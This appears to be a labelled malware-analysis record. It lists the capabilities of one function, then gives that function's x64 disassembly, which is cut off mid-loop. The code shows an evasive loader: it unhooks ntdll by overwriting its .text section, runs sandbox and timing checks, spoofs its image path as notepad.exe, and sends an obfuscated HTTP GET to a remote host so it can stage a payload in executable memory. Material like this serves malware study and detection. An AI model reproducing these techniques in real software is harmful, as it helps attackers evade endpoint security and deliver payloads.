Function at 0x140001450
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Read and send data from client to server
Read file via mapping
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x630
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x5a0], xmm6
mov dword [rbp + 0x5d0], ecx
mov qword [rbp + 0x5d8], rdx
call fcn.140002e50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x530], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x528], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x520], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x598], rax
cmp qword [rbp + 0x598], 0
jne 0x140001533
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x598], rax
cmp qword [rbp + 0x598], 0
je 0x14000189f
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x340]
mov rax, qword [rbp + 0x520]
mov r10, qword [rbp + 0x598]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x518], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x510], rax
mov rax, qword [rbp + 0x510]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x508]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x518]
add rax, rdx
mov qword [rbp + 0x4f0], rax
mov word [rbp + 0x596], 0
jmp 0x140001887
mov ecx, 0x1630
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4e8], rax
mov dword [rbp + 0x590], 0
jmp 0x1400016d8
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006138]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x590]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
movsd xmm1, qword [0x140006140]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x590], 1
cmp dword [rbp + 0x590], 0x2c5
jle 0x14000168a
mov dword [rbp + 0x590], 0
jmp 0x14000173f
mov eax, dword [rbp + 0x590]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x590]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
movq xmm1, qword [0x140006150]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x590], 1
cmp dword [rbp + 0x590], 0x2c5
jle 0x1400016f0
mov rax, qword [rbp + 0x4f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x4f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x596]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001876
mov dword [rbp + 0x308], 0
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x518]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x308]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x500]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x518]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x308]
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x4e0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x518]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x308]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x596]
add eax, 1
mov word [rbp + 0x596], ax
mov rax, qword [rbp + 0x4f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x596], ax
jb 0x14000166d
mov ecx, 0xb18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4d8], rax
mov ecx, 0xb18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4d0], rax
mov ecx, 0xb18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4c8], rax
mov ecx, 0xb18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4c0], rax
mov dword [rbp + 0x588], 0x2c5
mov dword [rbp + 0x58c], 0
jmp 0x140001a08
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x58c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x58c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x588]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4d8]
add rax, rdx
mov edx, dword [rbp + 0x58c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x588]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4d0]
add rax, rdx
mov edx, dword [rbp + 0x58c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x588], 1
add dword [rbp + 0x58c], 1
cmp dword [rbp + 0x58c], 0x2c5
jle 0x1400018fc
mov rax, qword [rbp + 0x4d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x4d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x30c], 0
mov rax, qword [rbp + 0x530]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4b8], rax
mov ecx, 0x370
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4b0], rax
mov dword [rbp + 0x580], 0
mov dword [rbp + 0x57c], 0
mov dword [rbp + 0x584], 0
jmp 0x140001afc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x584]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x584], 1
cmp dword [rbp + 0x584], 0xdb
jle 0x140001ab0
mov dword [rbp + 0x584], 0
jmp 0x140001b3d
mov eax, dword [rbp + 0x584]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x580], eax
add dword [rbp + 0x584], 1
cmp dword [rbp + 0x584], 0xdb
jle 0x140001b14
mov dword [rbp + 0x584], 0
jmp 0x140001bc5
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x57c]
mov eax, dword [rbp + 0x584]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4b0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x35c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006160]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f30
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x57c], eax
add dword [rbp + 0x584], 1
cmp dword [rbp + 0x584], 0xdb
jle 0x140001b55
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x57c]
movss xmm1, dword [0x140006168]
divss xmm0, xmm1
movss dword [rbp + 0x4ac], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x4ac]
movq rax, xmm3
movq xmm0, rax
call fcn.1400044f0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x4a8], xmm0
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0x30c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x4b8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x318]
add rax, 0x3c
mov qword [rbp + 0x4a0], rax
mov rax, qword [rbp + 0x4a0]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x4a0]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x498], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x490], rax
mov rax, qword [rbp + 0x490]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xa65680
mov ecx, 0
call rax
mov qword [rbp + 0x498], rax
cmp qword [rbp + 0x498], 0
je 0x140002d41
mov rax, qword [rbp + 0x498]
mov edx, 0xa65680
mov rcx, rax
call fcn.1400047f0
mov rax, qword [rbp + 0x498]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x488], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4cd9e80
mov ecx, 0
call rax
mov qword [rbp + 0x488], rax
cmp qword [rbp + 0x488], 0
je 0x140002d41
mov rax, qword [rbp + 0x488]
mov edx, 0x4cd9e80
mov rcx, rax
call fcn.1400047f0
mov rax, qword [rbp + 0x488]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x478], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3c5f680
mov ecx, 0
call rax
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0
je 0x140002d41
mov rax, qword [rbp + 0x478]
mov edx, 0x3c5f680
mov rcx, rax
call fcn.1400047f0
mov rax, qword [rbp + 0x478]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x468], rax
cmp qword [rbp + 0x468], 0
je 0x140001ecf
mov rax, qword [rbp + 0x468]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov ecx, 0
call rax
mov dword [rbp + 0x578], eax
cmp dword [rbp + 0x578], 0xffffffff
je 0x140002d41
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x450], 0
jne 0x140002d41
mov ecx, 0x494
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x494
jne 0x140002d41
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x44c], 0x38e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x440], rax
mov rax, qword [rbp + 0x440]
call rax
mov dword [rbp + 0x43c], eax
mov eax, dword [rbp + 0x44c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x440]
call rax
mov dword [rbp + 0x438], eax
mov eax, dword [rbp + 0x438]
sub eax, dword [rbp + 0x43c]
cmp eax, 0x35c
jbe 0x140002d41
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x430], rax
cmp qword [rbp + 0x430], 0
jne 0x140002d41
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x428], rax
cmp qword [rbp + 0x428], 0
je 0x140002d41
mov rax, qword [rbp + 0x428]
mov edx, 0x40a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x424], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov ecx, 0
call rax
mov dword [rbp + 0x414], eax
cmp dword [rbp + 0x414], 0xffffffff
je 0x140002d41
mov word [rbp + 0x412], 0x202
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x408], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x400], rax
lea rax, str.ws2_32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3f8]
lea rdx, str.WSAStartup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3f0], rax
mov ecx, 0x7b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0x574], 0
jmp 0x1400021a7
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x574]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x574], 1
cmp dword [rbp + 0x574], 0x1ed
jle 0x14000215a
mov dword [rbp + 0x574], 0
jmp 0x140002297
cmp dword [rbp + 0x574], 0
je 0x140002207
mov eax, dword [rbp + 0x574]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3e8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x574]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3e8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002213
add dword [rbp + 0x574], 1
jmp 0x140002297
mov eax, dword [rbp + 0x574]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3e8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x360], eax
mov eax, dword [rbp + 0x574]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3e8]
add rax, rdx
mov edx, dword [rbp + 0x574]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x3e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x574]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3e8]
add rdx, rax
mov eax, dword [rbp + 0x360]
mov dword [rdx], eax
sub dword [rbp + 0x574], 1
cmp dword [rbp + 0x574], 0x1ed
jle 0x1400021c2
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3f8]
lea rdx, str.WSACleanup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3e0], rax
movzx eax, word [rbp + 0x412]
lea rdx, [rbp + 0x150]
mov r8, qword [rbp + 0x3f0]
mov ecx, eax
call r8
test rax, rax
jns 0x140002309
mov rax, qword [rbp + 0x3e0]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov qword [rbp + 0x568], 0
mov dword [rbp + 0x3dc], 0x388
mov dword [rbp + 0x570], 1
jmp 0x140002340
mov eax, dword [rbp + 0x570]
cdqe
add qword [rbp + 0x568], rax
add dword [rbp + 0x570], 1
mov eax, dword [rbp + 0x570]
cmp eax, dword [rbp + 0x3dc]
jle 0x14000232a
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0xffffffffffffffff
jne 0x14000239e
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov ecx, 0x3d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0x560], 0
mov dword [rbp + 0x55c], 0
mov dword [rbp + 0x564], 0
jmp 0x14000241c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x564]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x564], 1
cmp dword [rbp + 0x564], 0xf3
jle 0x1400023cf
mov dword [rbp + 0x564], 0
mov dword [rbp + 0x564], 0
jmp 0x14000249b
mov eax, dword [rbp + 0x564]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000246a
add dword [rbp + 0x560], 1
jmp 0x140002494
mov eax, dword [rbp + 0x564]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3c8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002494
add dword [rbp + 0x55c], 1
add dword [rbp + 0x564], 1
cmp dword [rbp + 0x564], 0xf3
jle 0x14000243e
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [0x140006108]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
jne 0x140002500
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x3e0]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov ecx, 0x6f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3b8], rax
mov dword [rbp + 0x558], 0
jmp 0x14000256b
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006138]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
movsd xmm1, qword [0x140006140]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x558], 1
cmp dword [rbp + 0x558], 0xde
jle 0x14000251d
mov dword [rbp + 0x558], 0
jmp 0x1400025d2
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x558]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
movq xmm1, qword [0x140006150]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x558], 1
cmp dword [rbp + 0x558], 0xde
jle 0x140002583
mov rax, qword [rbp + 0x3c0]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x3c0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0x2f0]
lea rcx, [rdx + 4]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov word [rbp + 0x2f0], 2
mov ecx, 0x378
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x2f2], ax
lea rdx, [rbp + 0x2f0]
mov rax, qword [rbp + 0x3d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x140002676
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
movabs rax, 0x4d5a442f20544547
movabs rdx, 0x6b6f466467477a70
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x725a54566f697863
movabs rdx, 0x784c4554684a4c45
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x4658437744764657
movabs rdx, 0x67575a486950784c
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x2e312f5054544820
movabs rdx, 0x3a74736f480a0d31
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x3838383a37323120
movabs rdx, 0x63656e6e6f430a0d
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x654b203a6e6f6974
movabs rdx, 0x6576696c412d7065
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x412d726573550a0d
movabs rdx, 0x6f4d203a746e6567
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x2e352f616c6c697a
movabs rdx, 0x6f646e6957282030
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x2e3620544e207377
movabs rdx, 0x6564697254203b31
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x203b302e372f746e
movabs rdx, 0x29302e31313a7672
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x654720656b696c20
movabs rdx, 0xa0d0a0d6f6b63
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
lea rdx, [rbp + 0x70]
mov eax, 0
mov ecx, 0x1c
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x3d0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x400]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3b0], rax
mov rax, qword [rbp + 0x3b0]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0xf4240
mov ecx, 0
call rax
mov qword [rbp + 0x3a8], rax
mov ecx, 0x8dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3a0], rax
mov dword [rbp + 0x554], 0
jmp 0x1400028ea
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x554]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x554], 1
cmp dword [rbp + 0x554], 0x236
jle 0x140002861
mov dword [rbp + 0x554], 0
jmp 0x140002a16
mov dword [rbp + 0x368], 0
jmp 0x1400029f8
mov eax, dword [rbp + 0x554]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x368]
cdqe
